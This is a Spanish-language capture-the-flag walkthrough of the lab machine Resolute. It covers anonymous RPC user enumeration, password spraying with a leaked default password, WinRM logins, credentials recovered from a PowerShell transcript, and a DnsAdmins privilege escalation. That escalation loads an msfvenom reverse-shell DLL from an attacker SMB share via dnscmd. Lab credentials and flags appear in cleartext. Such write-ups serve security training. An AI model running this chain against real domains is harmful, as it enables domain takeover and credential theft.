

# TEMAS

- Abusing RCP enumeration 'querydispinfo'
- Crackmapexec smb Autenticacion Spryng
- Abusing WinRm Evil-WinRm
- LOLBAS
- Abusing DNSAdmin Group – Local Privilege Escalation
- Creating Dll Corrupt - injecting it into the dns server
- 

## Enumeración y Reconocimiento

Iniciamos con la fase de conectividad, veremos si tenemos alcance con el host destino.

\$Ping -c 1 10.10.10.169

```
> ping -c 1 10.10.10.169
PING 10.10.10.169 (10.10.10.169) 56(84) bytes of data.
64 bytes from 10.10.10.169: icmp_seq=1 ttl=127 time=230 ms

— 10.10.10.169 ping statistics —
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 229.797/229.797/229.797/0.000 ms
```

Iniciamos fase de reconocimiento con nmap

```
# Nmap 7.93 scan initiated Tue Mar 21 15:49:07 2023 as: nmap -p- --open -sCV -n -v --min-rate 5000 -oN Ports 10.10.10.169
Nmap scan report for 10.10.10.169
Host is up (0.34s latency).
Not shown: 65511 closed tcp ports (reset)
PORT      STATE SERVICE          VERSION
53/tcp    open  domain          Simple DNS Plus
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos (server time: 2023-03-21 21:56:18Z)
135/tcp   open  msrpc           Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap            Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds    Microsoft Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap            Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-title: Not Found
|_ http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf          .NET Message Framing
47001/tcp open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
49664/tcp open  msrpc           Microsoft Windows RPC
49665/tcp open  msrpc           Microsoft Windows RPC
49666/tcp open  msrpc           Microsoft Windows RPC
49667/tcp open  msrpc           Microsoft Windows RPC
49671/tcp open  msrpc           Microsoft Windows RPC
49674/tcp open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc           Microsoft Windows RPC
49680/tcp open  msrpc           Microsoft Windows RPC
49712/tcp open  msrpc           Microsoft Windows RPC
49838/tcp open  tcpwrapped
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Al ver muchos puertos y saber que es una maquina Windows podemos deducir que estamos ante un DC, vamos a enumerar puertos puntuales

## Encontrando usuarios del dominio

Utilizando la herramienta `rpcclient` para enumerar usuarios validos del dominio encontramos cosas.

La utilidad `rpcclient` permite ejecutar manualmente las funciones de Microsoft Remote Procedure Call (MS-RPC) del lado del cliente en un servidor SMB local o remoto. Sin embargo, la mayoría de las funciones están integradas en utilidades separadas proporcionadas por Samba. Utilice `rpcclient` sólo para probar las funciones MS-RPC.

```
$rpcclient -U "" 10.10.10.169 -N
```

```
> rpcclient -U "" 10.10.10.169 -N
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claudio] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
rpcclient $>
```

Tenemos 27 usuarios que pertenecen al dominio megabank.local

Sabemos que al tener usuarios validos del dominio podemos ejecutar un Asrproasatack

## ASREPRoast o AS-REP Roasting

noviembre 25, 2020

El ASREPRoast es una técnica parecida a Kerberoasting que intenta crackear offline las contraseñas de los usuarios de servicio pero las de los que tienen el atributo DONT\_REQ\_PREAUTH, es decir, los que no se les requiere pre-autenticación en kerberos.

Pero ninguno funciona, vamos a ver especificaciones de los usuarios con rpcclient.

```
rpcclient > querydispinfo
index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null)
index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null)
index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null)
index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null)
index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null)
index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null)
index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system.
index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null)
index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null)
index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null)
index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null)
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!
index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null)
index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null)
index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null)
index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null)
index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null)
index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null)
index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null)
index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null)
index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null)
index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null)
index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null)
index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null)
```

Tenemos un password habilitado del usuario marko.

Vamos a realizar enumeración para ver de quien es este passwd ya que tenemos un potencial listado de usuarios

```
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\annika>Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\per>Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\claude>Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [+] megabank.local\melanie>Welcome123!
```

Melanie>Welcome123!

Vamos a validar si este usuario pertenece al grupo de administración remota de Windows

```
> crackmapexec winrm 10.10.10.169 -u 'melanie' -p 'Welcome123!'
SMB 10.10.10.169 5985 RESOLUTE [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:me
HTTP 10.10.10.169 5985 RESOLUTE [*] http://10.10.10.169:5985/wsman
WINRM 10.10.10.169 5985 RESOLUTE [+] megabank.local\melanie>Welcome123! (Pwn3d!)
```

Nos conectamos con la herramienta evil-winrm por el puerto 5985 para obtener accesos a la maquina ya que este usuario está en el grupo RMU.

```
*Evil-WinRM* PS C:\Users\melanie\Desktop> type user.txt
29d218e7904a30919adb14aba8bd2ba0
*Evil-WinRM* PS C:\Users\melanie\Desktop> whoami
megabank\melanie
*Evil-WinRM* PS C:\Users\melanie\Desktop>
```

## Escalada de Privilegios

Realizando enumeración de usuario vemos que también existe el usuario ryan

```
          LastWriteTime         Length Name
-----
9/25/2019 10:43 AM           Administrator
12/4/2019  2:46 AM           melanie
11/20/2016 6:39 PM           Public
9/27/2019  7:05 AM           ryan
```

Por lo cual me hace pensar que tengo que escalar al usuario ryan, vamos a enumerar el directorio raíz.

Tenemos pocas cosas pero si hacemos una enumeración mas interna con archivos o directorios escondidos encontramos

```

$RECYCLE.BIN
Documents and Settings
PerfLogs
Program Files
Program Files (x86)
ProgramData
PSTranscripts
Recovery
System Volume Information
Users
Windows
389408 bootmgr
1 BOOTNXT
402653184 pagefile.sys
```

Tenemos varios subdirectorios y al final un archivo Resolute.txt

```
Mode                LastWriteTime         Length Name
----                -
d--h--             12/3/2019  6:45 AM           20191203
```

```
          LastWriteTime         Length Name
-----
12/3/2019  6:45 AM           3732 PowerShell_transcript.RESOLUTE.0JuoBGhU.20191203063201.txt
```

Viendo el archivo oculto en carpetas ocultas encontramos credenciales validas del usuario ryan

```
) : "Invoke-Expression"  
: name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!"  
ASTEXITCODE } else { exit 1 } }"  
  
> crackmapexec smb 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'  
SMB 10.10.10.169 445 RESOLUTE [*] Windows Server 2016 Standard 14393 x64 (name:RESOL  
SMB 10.10.10.169 445 RESOLUTE [*] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)
```

Es correcta ahora nos vamos a conectar por el puerto 5985 que este usuario también se encuentra en el grupo RMU.

```
mapexec winrm 10.10.10.169 -u 'ryan' -p 'Serv3r4Admin4cc123!'  
10.10.10.169 5985 RESOLUTE [*] Windows 10.0 Build 14393 (name:RESOLUTE) (domain:  
10.10.10.169 5985 RESOLUTE [*] http://10.10.10.169:5985/wsman  
10.10.10.169 5985 RESOLUTE [*] megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)
```

```
*Evil-WinRM* PS C:\Users\ryan\Documents> whoami  
megabank\ryan  
*Evil-WinRM* PS C:\Users\ryan\Documents>
```

Tenemos una nota que dice lo siguiente en el escritorio de ryan

```
Mode                LastWriteTime         Length Name  
----                -  
-ar-                12/3/2019  7:34 AM           155 note.txt  
  
*Evil-WinRM* PS C:\Users\ryan\Desktop> type note.txt  
Email to team:  
  
- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
```

debido a la congelación de cambios, cualquier cambio en el sistema (aparte de los de la cuenta del administrador) se revertirá automáticamente en 1 minuto

sin nada.

```
*Evil-WinRM* PS C:\Users\ryan\Desktop> net user ryan  
User name           ryan  
Full Name           Ryan Bertrand  
Comment  
User's comment  
Country/region code 000 (System Default)  
Account active      Yes  
Account expires     Never  
  
Password last set   3/21/2023 4:04:03 PM  
Password expires    Never  
Password changeable 3/22/2023 4:04:03 PM  
Password required   Yes  
User may change password Yes  
  
Workstations allowed All  
Logon script  
User profile  
Home directory  
Last logon          3/21/2023 3:53:23 PM  
  
Logon hours allowed All  
  
Local Group Memberships  
Global Group memberships *Domain Users *Contractors  
The command completed successfully.
```

Grupo contractors\*

\$whoami /priv

```
*Evil-WinRM* PS C:\Users\ryan\Desktop> whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name      Description                State
-----
SeMachineAccountPrivilege  Add workstations to domain  Enabled
SeChangeNotifyPrivilege   Bypass traverse checking    Enabled
SeIncreaseWorkingSetPrivilege  Increase a process working set  Enabled
```

\$whoami /all

```
NT AUTHORITY\Authenticated Users
NT AUTHORITY\This Organization
MEGABANK\Contractors
MEGABANK\DnsAdmins
NT AUTHORITY\NTLM Authentication
Mandatory Label\Medium Mandatory Level
```

\$net groups o \$net localgroups

```
*Evil-WinRM* PS C:\Users\ryan\Desktop> net localgroup DnsAdmins
Alias name      DnsAdmins
Comment        DNS Administrators Group
Members
Contractors
The command completed successfully.
```

Por lo cual veo que estoy dentro del grupo DnsAdmin, cuando formamos parte del grupo DnsAdmins podemos crear una dll maliciosa para manipular este servicio de forma que cargue una dll maliciosa al parar el servicio y arrcarlo nos ejecute la dll y nos permita ejecutar una tarea privilegiada.

Vamos a ir directo a LOLBAS Github

Existe un comando para cargar una dll maliciosa

[.. / Dnscmd.exe](#)  5,206

Execute

```
dnscmd.exe /config /serverlevelplugindll \\10.10.16.5\smbRap\pwd.dll
```

Para cargar este dll maliciosa en el servicio DNS establecer un nuevo archivo de configuración que lo tome de un recurso compartido a nivel de red.

Vamos a crear nuestra dll maliciosa

```
< 48m 58s > msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.5 LPORT=4444 -f dll -o pwd.ll  
msfvenom loading dll from UNC/arbitrary path
```

Ahora vamos a jugar con impacket-smbserver

```
> impacket-smbserver smbRap $(pwd) -smb2support  
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation  
Usecase: Remotely In  
Privileges required: D  
[*] Config file parsed  
[*] Callback added for UID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0  
[*] Callback added for UID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0  
[*] Config file parsed  
[*] Config file parsed  
[*] Config file parsed
```

Ahora solo damos enter

```
*Evil-WinRM* PS C:\Users\ryan\Desktop> dnscmd.exe /config /serverlevelplugindll \\10.10.16.5\smbRap\pwd.dll  
Registry property serverlevelplugindll successfully reset.  
Command completed successfully.
```

Ahora solo para que se ejecute la dll maliciosa que cargamos, tenemos que parar y correr el servicio DNS

Sc.exe stop dns y sc.exe start dns

```
*Evil-WinRM* PS C:\Users\ryan\Documents> sc.exe stop dns  
[*] Config file parsed  
[*] Incoming connection (10.10.10.169,52999)  
[*] AUTHENTICATE_MESSAGE (MEGABANK\RESOLUTE$,RESOLUTE)  
[*] User RESOLUTE\RESOLUTE$ authenticated successfully  
[*] RESOLUTE$::MEGABANK:aaaaaaaaaaaaaaaa:db42f4a1a6d00dcb900f0a95a42f1990:01010000000000000801  
8414d325dd901409226dafb0e55b3000000000100100072004b0041004c004e006800740059000300100072004b00  
41004c004e0068007400590002001000430051004800610066007a004d006a0004001000430051004800610066007  
a004d006a00070008008018414d325dd9010600040002000000080030003000000000000000000000000000000da  
fc10316e28282df0657d553208591c418aebdd3b29520864c12b300f6bbce0a00100000000000000000000000000  
0000000009001e0063006900660073002f00310030002e00310030002e00310036002e003500000000000000000000  
[*] Connecting Share(1:IPC$)  
[*] Connecting Share(2:smbFlag)  
[*] Disconnecting Share(1:IPC$)  
[*] Disconnecting Share(2:smbFlag)  
[*] Closing down connection (10.10.10.169,52999)  
[*] Remaining connections []  
dir  
Volume in drive C has no label.  
Volume Serial Number is D1AC-5AF6  
Directory of C:\Users\Administrator\Desktop  
12/04/2019 06:18 AM <DIR> .  
12/04/2019 06:18 AM <DIR> ..  
03/22/2023 06:43 PM 34 root.txt  
1 File(s) 34 bytes  
2 Dir(s) 2,469,203,968 bytes free  
C:\Users\Administrator\Desktop>type root.txt  
type root.txt  
8f125c1feac28d839acd69934aa152c3  
C:\Users\Administrator\Desktop>
```

**Pwned**